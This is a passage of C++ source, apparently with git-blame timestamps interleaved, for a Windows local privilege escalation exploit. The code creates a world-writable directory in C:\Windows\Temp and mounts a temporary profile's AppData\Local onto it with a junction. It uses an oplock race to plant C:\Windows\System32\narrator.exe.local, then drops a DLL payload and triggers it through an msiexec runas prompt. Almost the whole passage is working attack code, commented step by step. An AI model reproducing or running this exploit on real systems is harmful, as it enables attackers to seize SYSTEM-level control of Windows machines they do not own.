size_t user_temp_dir_sz = ( 10 + lstrlenW ( new_dir ) ) * sizeof ( wchar_t ) ;
user_temp_dir = ( wchar_t * ) HeapAlloc ( GetProcessHeap ( ) , HEAP_ZERO_MEMORY , user_temp_dir_sz ) ;
if ( user_temp_dir = = NULL ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Unable to allocate memory for user_temp_dir! \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 25 ) ;
}
2022-03-28 16:17:58 -05:00
// Now append the string C:\Users\ to the end of whatever is in the
// variable new_dir and save this into user_temp_dir. In practice this
2022-03-24 11:56:18 -05:00
// will look something like C:\\Users\\TEMP.WIN11-TEST.016
wmemcpy ( user_temp_dir , L " C: \\ Users \\ \0 " , 10 ) ;
wcscat ( user_temp_dir , new_dir ) ;
// Now create another heap allocation of size user_temp_dir_sz plus 6 extra bytes for the string \.lock
2022-03-28 16:17:58 -05:00
// Save resulting memory pointer into lock_file variable and have it save the value of user_temp_dir
2022-03-24 11:56:18 -05:00
// plus \.lock to the end of the path.
//
// This means lock_file will look something like C:\\Users\\TEMP.WIN11-TEST.016\\.lock
wchar_t * lock_file = ( wchar_t * ) HeapAlloc ( GetProcessHeap ( ) , HEAP_ZERO_MEMORY , user_temp_dir_sz + ( 6 * sizeof ( wchar_t ) ) ) ;
if ( lock_file = = NULL ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Unable to allocate memory for the lock file! \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 26 ) ;
}
wcscpy ( lock_file , user_temp_dir ) ;
wcscat ( lock_file , L " \\ .lock " ) ;
2022-03-28 16:17:58 -05:00
// Open a handle to this lock file in hlock_file and make it have generic read permissions,
2022-03-24 11:56:18 -05:00
// plus DELETE so that the file is deleted when the handle is closed.
2022-03-28 16:17:58 -05:00
//
2022-03-24 11:56:18 -05:00
// This seems to be part of the race condition from what I can tell?? If we fail to create this file in time,
// then the exploit will fail as the worker() thread will start cleaning up before our lock can be created.
// If this happens that we won't be able to grab the lock and keep this open.
HANDLE hlock_file = op . OpenFileNative ( lock_file , GENERIC_READ | DELETE , NULL , CREATE_ALWAYS ) ;
if ( ! hlock_file )
err ( L " OpenFileNative " , op . GetLastErr ( ) , __LINE__ ) ;
// Create 3 new heap allocations, each with zero'd out memory, on the process heap.
// Each allocation is another subdirectory so we have:
// \AppData
// \AppData\Local
// \AppData\Local\Application Data
appdata = ( wchar_t * ) HeapAlloc ( GetProcessHeap ( ) , HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS , user_temp_dir_sz + ( 8 * sizeof ( wchar_t ) ) ) ;
appdata_local = ( wchar_t * ) HeapAlloc ( GetProcessHeap ( ) , HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS , user_temp_dir_sz + ( 14 * sizeof ( wchar_t ) ) ) ;
appdata_local_appdata = ( wchar_t * ) HeapAlloc ( GetProcessHeap ( ) , HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS , user_temp_dir_sz + ( 31 * sizeof ( wchar_t ) ) ) ;
if ( ( appdata = = NULL ) | | ( appdata_local = = NULL ) | | ( appdata_local_appdata = = NULL ) ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't allocate memory for AppData strings! \r \n " ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 27 ) ;
}
// Build up the strings, with appdata pointing to something like C:\\Users\\TEMP.WIN11-TEST.016\\AppData
// appdata_local will point to something like C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local
// appdata_local_appdata will point to C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local\\Application Data
//
wcscpy ( appdata , user_temp_dir ) ;
wcscat ( appdata , L " \\ AppData \0 " ) ;
wcscpy ( appdata_local , appdata ) ;
wcscat ( appdata_local , L " \\ Local \0 " ) ;
wcscpy ( appdata_local_appdata , appdata_local ) ;
wcscat ( appdata_local_appdata , L " \\ Application Data \0 " ) ;
2022-04-01 12:11:05 -05:00
// Create the directory at C:\\Users\\TEMP.WIN11-TEST.016\\AppData
2022-03-24 11:56:18 -05:00
int dir_cr_result = SHCreateDirectory ( NULL , appdata ) ;
if ( dir_cr_result ! = ERROR_SUCCESS ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't create the AppData directory corresponding to the appdata variable! Error was: %i \r \n " , dir_cr_result ) ;
2022-03-24 11:56:18 -05:00
}
// Now to create a directory at C:\Windows\Temp\<random chars> such as C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}
wchar_t __tmp [ MAX_PATH ] ;
if ( ExpandEnvironmentStringsW ( std : : wstring ( L " %windir% \\ Temp \\ " + op . GenerateRandomStr ( ) ) . c_str ( ) , __tmp , MAX_PATH ) = = 0 ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Could not expand the environment string for the Windows temp directory using ExpandEnviromentStrings()! Error: %i \r \n " , GetLastError ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 28 ) ;
}
2022-03-28 16:17:58 -05:00
// DACL with SE_DACL_PROTECTED flag set to prevent it being modified by inheritable ACEs,
2022-03-24 11:56:18 -05:00
// and the SE_DACL_AUTO_INHERITED flag so that it is set up to automatically propagate to child objects.
//
// The actual flags are AceType: SDDL_ACCESS_ALLOWED, AceFlags: SDDL_OBJECT_INHERIT|SDDL_CONTAINER_INHERIT, Rights: FILE_ALL_ACCESS, WRITE_DAC
//
// This is then saved into the sd variable and the length of this structure is saved into sd_sz.
//
// Finally use this to create a new SECURITY_ATTRIBUTES structure in the variable sa with this info.
PSECURITY_DESCRIPTOR sd ;
ULONG sd_sz = 0 ;
if ( ConvertStringSecurityDescriptorToSecurityDescriptorW ( L " D:PAI(A;OICI;FA;;;WD) " , SDDL_REVISION_1 , & sd , & sd_sz ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Couldn't create security descriptor from string! Error: %i \r \n " , GetLastError ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 29 ) ;
}
SECURITY_ATTRIBUTES sa = { sizeof ( SECURITY_ATTRIBUTES ) , sd , FALSE } ;
2022-03-28 16:17:58 -05:00
// Create a new directory at C:\Windows\Temp\<random chars> (in this case C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}) with the provided security
2022-03-24 11:56:18 -05:00
// descriptor that allows all access to the directory and write DAC access.
if ( ! CreateDirectoryW ( __tmp , & sa ) )
err ( L " CreateDirectory " , GetLastError ( ) , __LINE__ ) ;
2022-03-28 16:17:58 -05:00
// Open up the directory at C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local with local read and write permissions, and
2022-03-24 11:56:18 -05:00
// the ability to delete the directory once done.
happdata_local = op . OpenDirectory ( appdata_local , GENERIC_READ | GENERIC_WRITE | DELETE ) ;
if ( ! happdata_local )
err ( L " OpenDirectory " , op . GetLastErr ( ) , __LINE__ ) ;
// Now create a mount point between C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local that points to C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}
if ( ! op . CreateMountPoint ( happdata_local , __tmp ) )
err ( L " CreateMountPoint " , op . GetLastErr ( ) , __LINE__ ) ;
// Once the mount point has been created between C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local and C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE},
// create an oplock on the C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local directory and wait until its triggered, then use callback1 function
// to do operations when lock is triggered.
op . CreateAndWaitLock ( happdata_local , callback1 ) ;
// Check if the lock on C:\\Users\\TEMP.WIN11-TEST.016\\AppData has been hit or not.
// If not then wait for the lock to be hit, and once its hit then delete the lock.
if ( appdata_lock ) {
appdata_lock - > WaitForLock ( INFINITE ) ;
delete appdata_lock ;
}
2022-03-28 16:17:58 -05:00
// Wait for the thread that tries to create a new msiexec.exe process with the
// provided credentials for the other user to finish and end up becoming signaled,
2022-03-24 11:56:18 -05:00
// then close the handle to the thread to shut it down.
WaitForSingleObject ( hthread , INFINITE ) ;
CloseHandle ( hthread ) ;
// Check if we were actually able to create C:\\Windows\\System32\\narrator.exe.local.
// If we failed, then the exploit failed.
if ( GetFileAttributesW ( L " C: \\ Windows \\ System32 \\ narrator.exe.local " ) = = INVALID_FILE_ATTRIBUTES ) {
2022-04-04 17:58:52 -05:00
MessageBoxA ( NULL , " Couldn't get narrator.exe.local! " , " fail! " , MB_OK ) ;
MY_PRINTF ( L " Exploit failed - Creating C: \\ Windows \\ System32 \\ narrator.exe.local was unsuccessful! Error: %i \r \n " , GetLastError ( ) ) ;
2022-03-24 11:56:18 -05:00
return 1 ;
}
// Remove the directory at C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}
if ( op . RRemoveDirectory ( __tmp ) = = FALSE ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Was not able to delete the %s directory before dropping the payload! Error: %i \r \n " , __tmp , op . GetLastErr ( ) ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 30 ) ;
}
// Sleep for 5 seconds to allow things to finish doing what they need to. XXX Still not 100% sure this is needed.
Sleep ( 5000 ) ;
// Close the handle to the C:\\Users\\TEMP.WIN11-TEST.016\\.lock file.
CloseHandle ( hlock_file ) ;
// Create the directory at C:\\Users\\TEMP.WIN11-TEST.016\\\AppData\\Local\\Application Data
int dir_cr_appdata_result = SHCreateDirectory ( NULL , appdata_local_appdata ) ;
if ( dir_cr_appdata_result ! = ERROR_SUCCESS ) {
2022-04-04 17:58:52 -05:00
MY_PRINTF ( L " Was unable to call SHCreateDirectory to create the directory at %s! Error was: %i \r \n " , appdata_local_appdata , dir_cr_appdata_result ) ;
2022-03-24 11:56:18 -05:00
ExitProcess ( 31 ) ;
}
2022-03-28 16:17:58 -05:00
// Drop the payload file at
2022-03-24 11:56:18 -05:00
DoDropPayload ( dllPath ) ;
// This will cause the system to open a RUNAS prompt which will trigger the LPE code execution.
HINSTANCE result = ShellExecuteW ( NULL , L " runas " , L " C: \\ Windows \\ System32 \\ msiexec.exe " , NULL , NULL , SW_NORMAL ) ;
if ( ( INT_PTR ) result < 32 ) {
ExitProcess ( 1000 ) ;
}
/* Uncomment this if you want to debug why the exploit is failing.
else {
switch ((INT_PTR)result) {
case 0:
MessageBoxA(NULL, "Out of resources!", "ERROR!", MB_OK);
break;
case ERROR_FILE_NOT_FOUND :
MessageBoxA(NULL, "File not found!", "ERROR!", MB_OK);
break;
case ERROR_PATH_NOT_FOUND:
MessageBoxA(NULL, "Path not found!", "ERROR!", MB_OK);
break;
case ERROR_BAD_FORMAT:
MessageBoxA(NULL, "Bad format!", "ERROR!", MB_OK);
break;
case SE_ERR_ACCESSDENIED:
MessageBoxA(NULL, "Access denied!", "ERROR!", MB_OK);
break;
case SE_ERR_ASSOCINCOMPLETE:
MessageBoxA(NULL, "The file name association is incomplete or invalid!", "ERROR!", MB_OK);
break;
case SE_ERR_DDEBUSY:
MessageBoxA(NULL, "The DDE transaction could not be completed because other DDE transactions were being processed!", "ERROR!", MB_OK);
break;
case SE_ERR_DDEFAIL:
MessageBoxA(NULL, "The DDE transaction failed!", "ERROR!", MB_OK);
break;
case SE_ERR_DDETIMEOUT:
MessageBoxA(NULL, "The DDE transaction could not be completed because the request timed out.", "ERROR!", MB_OK);
break;
case SE_ERR_DLLNOTFOUND:
MessageBoxA(NULL, "The specified DLL was not found!", "ERROR!", MB_OK);
break;
case SE_ERR_NOASSOC:
MessageBoxA(NULL, "There is no application associated with the given file name extension. This error will also be returned if you attempt to print a file that is not printable.", "ERROR!", MB_OK);
break;
case SE_ERR_OOM:
MessageBoxA(NULL, "There was not enough memory to complete the operation.", "ERROR!", MB_OK);
break;
case SE_ERR_SHARE:
MessageBoxA(NULL, "A sharing violation occurred.", "ERROR!", MB_OK);
break;
default:
MessageBoxA(NULL, "Unknown error occured!", "ERROR!", MB_OK);
break;
}
}*/
CloseHandle ( result ) ;
// Remove the directory at C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}
op . RRemoveDirectory ( __tmp ) ;
// Call rev2self to get back original token, then clean up all the handles and heaps.
RevertToSelf ( ) ;
CloseHandle ( huserdat ) ;
CloseHandle ( husers_dir ) ;
CloseHandle ( happdata ) ;
CloseHandle ( hlnk ) ;
CloseHandle ( _token ) ;
HeapFree ( GetProcessHeap ( ) , NULL , user_temp_dir ) ;
HeapFree ( GetProcessHeap ( ) , NULL , fni ) ;
HeapFree ( GetProcessHeap ( ) , NULL , lock_file ) ;
HeapFree ( GetProcessHeap ( ) , NULL , appdata ) ;
HeapFree ( GetProcessHeap ( ) , NULL , appdata_local ) ;
HeapFree ( GetProcessHeap ( ) , NULL , appdata_local_appdata ) ;
return ERROR_SUCCESS ;
2022-03-31 12:13:29 -05:00
}